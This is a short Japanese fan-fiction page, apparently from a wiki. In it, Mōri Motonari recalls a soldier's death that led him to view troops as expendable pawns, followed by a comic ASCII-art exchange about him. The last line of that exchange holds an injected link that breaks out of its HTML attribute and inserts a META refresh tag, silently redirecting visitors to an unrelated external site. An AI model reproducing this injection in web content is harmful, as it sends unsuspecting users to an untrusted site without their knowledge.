初めて我が策が採用された戦の時だった。
この策を完璧に遂行できたなら、間違っても死人など出ぬはずだった。
しかし、所詮策は策、現実では予想もできぬことがおこる。
そう、兵の一人が、我の失敗で、命を落としてしまったのだ。
我の策は完璧だと思っていただけに、衝撃は大きかった。
遺体に縋り泣き叫ぶ幼い子供を見て、我の胸は痛んだ。
我の失敗で、人一人の命を失ってしまった……我は呆然としていた。
その時は頭がいっぱいいっぱいで、特に何も感じなかった。
しかし、夜になってひとりになると、涙が溢れてきた。我が、人を死なせてしまった。
それから暫くの間、我は思い悩みつづけていた。そんな我を心配し、兵たちが声をかける。
お前たちの仲間は、我の所為で命を落としたのだぞ。どうして笑っていられる?
我が落ち込むから、お前たちはそう心配するのか? ならば我は無表情でいよう。
表情を出さなくなった我を、さらに兵たちが心配する。
それから半年ばかり経ち、次第に我は考えを変えるようになった。
兵は主君に尽くせばいい。そう、兵は捨て駒なのだ。
初めからそう割り切っていれば、苦しくもなんともない。
だから、いくら氷の面と恐れられようとも、兵たちが我を恐れようとも、我は冷静に采をふるう。
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)        ( ゜∀▼)ということがあって、元就はあんなヤツになっちまったらしいぜ!
゜)       ( ゜∀▼)こないだオクラ園でオクラに話しかけてるの聞いちまったぜ。
д゜)      ( ゜∀▼)あんなヤツだけど、本当はいいやつなんだよな!
州゜д゜)…  ( ;゜∀▼)……あれ、何かでかいおk [[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]

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最終更新:2007年12月09日 22:24